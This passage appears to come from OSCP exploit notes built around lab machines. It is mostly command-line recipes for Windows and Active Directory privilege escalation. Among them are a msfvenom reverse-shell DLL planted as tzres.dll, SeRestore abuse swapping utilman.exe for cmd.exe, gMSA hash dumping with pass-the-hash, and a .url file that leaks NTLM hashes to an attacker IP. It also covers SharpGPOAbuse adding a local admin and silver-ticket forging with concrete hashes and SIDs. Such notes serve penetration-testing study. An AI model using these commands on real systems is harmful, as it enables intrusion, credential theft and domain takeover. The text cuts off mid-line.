class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SeMachineAccountPrivilege and SeManageVolumePrivilege are covered in this section&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. Enable the privilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enable-TokenPrivilege -Privilege SeManageVolumePrivilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Modify C: drive permissions to gain write access&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\SeManageVolumeExploit.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. DLL hijacking&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - systeminfo loads tzres.dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - Write a malicious tzres.dll to C:\windows\system32\wbem&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - Generate a DLL reverse shell:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 4. Run systeminfo to trigger DLL loading and obtain SYSTEM privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tzres.dll is a system component loaded when systeminfo runs&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. If a service account ends with $ and the note mentions gMSA, it is a managed service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Use GMSAPasswordReader to read the hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\gmsapasswordreader.exe --accountname svc_apache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\\gmsapasswordreader.exe --accountname svc_apache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. Obtain the rc4_hmac hash for login&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SeRestore privilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The method below also works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A simpler method that executes a shell directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SeRestoreAbuse.exe C:\Windows\System32\utilman.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SeRestoreAbuse.exe &amp;#34;C:\Windows\System32\cmd.exe&amp;#34; &amp;#34;C:\Windows\System32\utilman.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For SMB phishing, listen with Responder when authentication begins to capture HTLM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/Greenwolf/ntlm_theft includes various methods&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[InternetShortcut]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;URL=Random_nonsense&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WorkingDirectory=Flibertygibbit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IconFile=\\&amp;lt;YOUR tun0 IP&amp;gt;\%USERNAME%.icon&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IconIndex=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GPO (Group Policy) privilege escalation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import PowerView&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find Default Domain Policy information and its GUID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-GPO -Name &amp;#34;Default Domain Policy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-GPPermission -Guid &amp;lt;GUID&amp;gt; -TargetType User -TargetName &amp;lt;CURRENT_USER&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Permission types may include:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - GpoApply: Apply policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - GpoRead: Read policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - GpoEdit: Edit policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - GpoCustom: Custom permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\SharpGPOAbuse.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddLocalAdmin # Add a local administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--UserAccount # Specify the user account to add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--GPOName # Specify the GPO to modify&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Other available arguments:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddComputerScript # Add a computer startup script&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddUserScript # Add a user logon script&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddUserTask # Add a scheduled task&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--Command # Specify the command to execute&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Query permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The project URL is above; exploitation is below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName &amp;#34;Default Domain Policy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gpupdate /force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\SharpGPOAbuse.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddLocalAdmin # Action: add local-administrator privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--UserAccount anirudh # User to add: anirudh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--GPOName &amp;#34;Default Domain Policy&amp;#34; # GPO to modify: Default Domain Policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gpupdate # Update Group Policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/force # Force an immediate update without waiting for the default refresh interval&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# An interesting use of a silver ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# MSSQL may run on the domain controller, and svc_mssql can authenticate directly with Kerberos as a service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A normal service account may be unable to enable xmdshell, so create a silver ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# MSSQL is already accessible and login succeeds&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impacket-ticketer -nthash &amp;lt;HASH&amp;gt; -domain-sid &amp;lt;SID&amp;gt; -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impacket-mssqlclient -k nagoya.nagoya-industries.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# PowerView&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Native PowerShell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(Get-ADDomain).DomainSID.Value&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser -Filter {SamAccountName -eq &amp;#34;svc_mssql&amp;#34;} -Properties ServicePrincipalNames&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the ticket location&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=$PWD/Administrator.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This differs from the usual approach, where importing a ticket through KRB5CCNAME is sufficient&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Importing a silver ticket appears to also require the configuration file below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/krb5user.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[libdefaults]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; default_realm = NAGOYA-INDUSTRIES.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; kdc_timesync = 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ccache_type = 4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; forwardable = true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; proxiable = true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; rdns = false&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; dns_canonicalize_hostname = false&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fcc-mit-ticketflags = true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[realms]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; NAGOYA-INDUSTRIES.COM = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; kdc = nagoya.nagoya-industries.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[domain_realm]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; .nagoya-industries.com = NAGOYA-INDUSTRIES.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Connect to MSSQL, preferably with Impacket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impacket-mssqlclient -k nagoya.nagoya-industries.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Kerberos configuration-file search order:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Location specified by the KRB5_CONFIG environment variable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/krb5.conf (default location)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/krb5user.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;~/.krb5user.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Only modify these sections:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;default_realm = YOUR.DOMAIN.COM # Domain name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[realms]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;YOUR.DOMAIN.COM = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; kdc = dc.your.domain.com # Domain 